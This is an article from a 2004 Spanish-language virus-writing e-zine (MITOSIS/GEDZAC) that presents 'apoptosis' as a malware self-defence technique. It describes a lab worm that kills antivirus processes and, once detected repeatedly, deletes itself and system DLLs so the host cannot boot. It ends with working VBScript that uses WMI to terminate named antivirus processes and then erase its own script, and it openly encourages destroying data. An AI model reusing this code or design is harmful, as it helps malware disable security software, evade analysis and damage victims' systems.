(C) MITOSIS #2 E-Zine/GEDZAC 2004


Tema: Apoptósis aplicada a los virus informáticos
Autor: Falckon/GEDZAC
Fecha: 3 Enero 2003 / 12:15 am
----------------------------------------------------------
-Introducción y Teoría:

Antes que nada no estudio biología pero  si  tengo esta  clase en  la escuela, de
hecho saco unos 8.6 en los exámenes. No soy QFB ni nada que se le paresca, pero a
consecuencia de unos estudios y del interesante mundo de los virus tanto biologi-
cos como informáticos me  he decidido a  escribir este artículo que me parece muy
muy interesante aplicarlo a nuestro mundo.

Definamos antes que nada Qué es la apoptosis?

La Apoptósis es la muerte celular programada.

Es un proceso celular geneticamente controlado por  el que las células inducen su
propia muerte  en  respuesta  a  determinados  "estímulos",  en  otras  palabras:
"Suicidio Célular".

Creo que ya no habrá necesidad de entrar más en teoría seguro ya ha quedado claro


-Cómo y por qué se me ocurrió?:

Bueno pues, hace ya un año salió un gusano (Winevar), bueno  el  caso es que este
al detectar alguna ventana  con  tales strings  intentaba inútilizar  el  sistema
borrando todos sus archivos.
Luego de unos estudios y lectura de interéstantes textos como "el virus perfecto"
escrito por "M0n30" pues  me  dieron aún  más ideas en especial sobre la autodes-
trucción viral, simplemente no  es por nada pero  m0n30  no  mencionaba el nombre
real de esto en lo biologico.

Unos meses después empecé  con  la creación de un virus parasito - gusano en VBS,
Polimorfico y  encriptado llamado SpielUhr, (a  estas alturas  él  está  en  esta
máquina no ha sido liberado solo se encuentra en mi Lab encerrado siendo sometido
a pruebas) bueno este bicho como les comento se me ocurrió aplicar la apoptósis.

Detecta los procesos Antivirales y ventanas de Antivirus Online en caso de encon-
trar estas ultimas seleccionando de una lista de palabras no muy grande procede a
cerrar cada una que encuentre en el caso de haber actuado esta función más de  10
veces el virus determinará que el usuario probablemente(y seguro) esté intentando
scanear  su  máquina  ya  que habrá detectado  la  presencia  de  nuestra especie
queriendo así poner fin a nuestro bebé, lo  cual no logrará ya que este procederá
a autoeliminarse borrando su código total mente de la máquina huesped y eliminan-
do archivos DLL de la carpeta system, así pues spieluhr mataría a su huesped y se
mataría el  mismo solo como  medio  de protección y  no  de intención de dañar la
máquina, yo a  esto si le consideraría lamersada, ya que dañar sistemas así nomás
sin ninguna razón  es  meramente estúpido al igual que hacerlo con algun animo de
lucro o vengaza.
Pero ahí no acaba la cosa  yo  hasta ese momento no sabía lo que andaba codeando,
posiblemente por  que soy un principiante y  más por que no  sé de biología (=P),
simplemente mientras hacía  unas pruebas con  el polimorfismo del spieluhr olvidé
encriptarlo (ya que esto  es  la base de  su funcionamiento y  mecanismo) lo cual
ejecuté por que tenía unos errores y pues cometí ese gran error.
Spieluhr terminó sobreescribiendose y  dejando nada en su propio archivo, genial,
spieluhr había  cometido  suicidio celular, ya  que, al  no  poder  funcionar  su
polimorfismo simplemente  cometió  el  descaro de suicidarse, suerte la mía tenía
una copia  de  seguridad hehe, pero  sorprendido  por lo que acababa de pasar fui
corriendo a investigar  con una persona, ella es Quimica Farmaco Biologa y  no es
por nada pero me explicó lo  que Spieluhr  acababa de hacer es entonces cuando ya
surgió totalmente la idea de la apoptósis cybernetica.



-Aplicación porqué y para qué?:

Pero porqué aplicar la apoptósis en los virus informáticos?

La respuesta es simple y como en los virus biologicos, sería responder a determi-
nados estímulos, en este caso  sería la defensa propia  del virus, tal vez muchos
coders  experimentados esten  encontra de esto ya que, de  que  sirve dotar  a un
virus de gran propagación si luego va a llegar  a un huesped en el cual no vivirá
mucho y se autodestruirá, esto no tendría  sentido, pero si  lo vemos por el lado
el cual ya mencioné, la defensa, nos sería muy útil para evitar la caza del virus
por parte  del usuario tanto experimentado o  de bajo  nivel, ya que solo los que
tengan un  muy  alto  conocimiento pueden  remover  un virus  en forma manual, la
mayoría utilizará un antivirus.
Por otra parte le  daríamos  una  muerte digna al  Virus, sin tener  que morir en
manos de un antivirus sería lo más justo, además con esto evitaríamos que nuestro
bebé sea  atrapado, es un  juego entre  la vida y la muerte, además de esto en la
autodestrucción o Suicidio  podríamos también no solo afectarnos, también afectar
el sistema huesped, osea en el momento de detectar cualquier intento de detección
el componente apoptotico de nuestro virus entraría en acción, buscaría su binario
o su "célula" y procedería a  la autodestrucción, sobreescribiendo el archivo con
basura o eliminandolo, con  eso bastaría para  por ejemplo  evitar que el usuario
vaya por nuestro binario y lo envíe a una casa AV o simplemente en el peor de los
casos limpiarlo...
Como ya mencioné antes, podríamos también afectar el sistema huesped, destruyendo
algunos archivos del sistema operativo y  así haciendo imposible su arranque, así
el virus se habría suicidado y  también habría dado muerte a su alojador, lo cual
sería imposible de  atrapar o  si quiera recuperar el  código del virus, sé que a
muchos coders les parecerá "lamer" el usar esto, ya que eliminar máquina es sino-
nimo de baja reproducción y por lo tanto nuestro componente apoptotico solo sería
usado en casos extremos.


-Esquema:                       


                                                          -------------
                                                          |spoolsv.exe|
                                                          |svchost.exe|
####################   Buscando Procesos/Antivirales      |notepad.exe|
#      Virus       # <----------------------------------> #PCScan.exe #
#################### ^                                    -------------
                     |                                     /    |
                     |                                    /     |
                     |                       .-----------´      |
                     |                       |                  |
                     |                 #############     ----------------
                     |                 #  Vir List # .-->|  PCScan.exe  |
                     |                 # Mcafee.exe# |   ----------------
                     '---------------- # Nod32.exe # |          |
                                       # PCScan.exe#-'          |
                                       #############            |
                                                                |
                                                                |
                                                          #############
                                                          # Detected! #
                                                          #AutoDefensa#
                                                          #############
                                                                |
                                                                |
                                                                | 
                               -------------------              |
                               |PCScan.exe Killed|<-------------'
                               -------------------
                                         |
                                         |
                                   ------------------
                                   |Si X => 10      |
                                   ------------------
                                         |
                                         |
       ######################            |
       #  Virus Deleted     #  <---------'
       ######################
                                                      
                                                 
Este simple esquema demuestra la apoptósis, explicación:
El virus  busca procesos (tambien puede ser ventanas), en  su código contiene una
lista de procesos Antivirus, extrae  los  procesos corriendo y  va comprobando si
alguno de  los  que tiene se  encuentra en ejecución  si  no es  el caso vuelve a
repetir el  proceso esto debe  hacerse por lo menos cada 10 segundos, en  el caso
contrario procederá a  cerrar el proceso y llevar un contador de cuantas veces se
ha detectado un  proceso antiviral y  si este es  igual  o mayor a 10 entonces el
virus se autoeliminará no dejando rastro.
Creo esto es sencillo y es una buena técnica de defensa antiviral.
En mis  dos  años de codeo nunca he  llegado a ver alguna forma de defensa viral,
solo he  llegado a  ver técnicas de  antieliminación y  creo es hora de que si la
técnología  avanza, los  virus  evolucionen y  poco  a poco adquieran  un poco de
inteligencia.

-Programando:

Bueno pues ya os parecía aburrida la teoría?
bueno pues  vamos a meternos a codear, en  principio había programado ejemplos en
ensamblador para  hacer más "interesante" este  artículo  pero  por "problemas" y
"criticas" he decidido basarme solamente en VB.
He aquí un código en VBS para que entendais mejor la apoptósis:

';---------------------------inicio de codigo------------------------------;

'// Apoptósis - La teoría de los retrovirus
'// by Falckon/GeDzAC
'// Example in VBS
'// En este ejemplo demuestro la utilización de la apoptósis
'// en vbs, buscando por procesos antivirales :D
On Error Resume Next  '/Control de errores (importante!)
Dim gObject,iFor,Contador

  
Do  '/Inicio del Do
Dormir(5000)            '/esperamos 5 segundos, así logramos hacer un Timer
'/Microsoft Windows Management Instrumentation  (WMI) 
'/Hacemos un For para extraer todos los procesos
For Each iFor in GetObject("winmgmts:{impersonationLevel=impersonate}").InstancesOf("Win32_Process")
           'Llamamos a la funcion ProcesosAV pasandole el nombre del proceso
If ProcesosAV(iFor.Name) = true Then
           '/Entonces ya que comprobamos que existe el AV terminamos su ejecución
iFor.Terminate()
           '/Aumentamos Contador en uno
Contador = Contador + 1
           '/Si Contador es mayor a 10 entonces..
If Contador > 10 then
Dim Fso
Set Fso = CreateObject("Scripting.FileSystemObject")
           '/Autodestruimos nuestro script
Fso.DeleteFile Wscript.ScriptFullName
End if
End if
Next
Loop

Function Dormir(segundos)
           'Function que duerme unos segundos el Do-Loop
Wscript.Sleep(segundos)
End Function

Function ProcesosAv(ExE)
'/Esta funcion busca los procesos puestos en un array
'/y si alguno es igual al que se pasó a la funcion
'/devuelve true

Dim AVArray,FProcess
                      '/Array con los nombrs de los procesos a buscar
AVArray = Array("pqremove.com","nod32.exe","antivir.exe")
                      '/Extraemos los nombres del array
For Each FProcess in AVArray
                      '/Si algun proceso es igual al que se extrajo entonces
If FProcess = LCase(ExE) Then
                      '/ProcesosAV es igual a verdadero / Detectado el antivirus!

ProcesosAV = True
Else 
                      '/ PrcesosAV es falso no hay nada
ProcesosAV = False
End if                ' /Fin de IF
next '/fin de next
End Function
'//nota: este ejemplo no es funcional en Win98
'//tested in WinXP build 2600

';--------------------------fin de codigo------------------------------


este es un ejemplo practico y sencillo en VBS,
creo que no hace falta explicación....
estudiadlo que así aprendeis.

-Resumen.

La apoptósis no  es necesaria, pero si  en buena forma  para la autodefensa de la
propia especie viral, para así  evitar su eliminación por  parte de los productos
antivirales y creo que es mejor suicidarse a que ser eliminados por otros.
También podemos utilizarla no solo como medio de defensa si no como medio para la
destrucción de los datos, fines malevolos, en fin.

(C) MITOSIS #2 E-Zine/GEDZAC 2004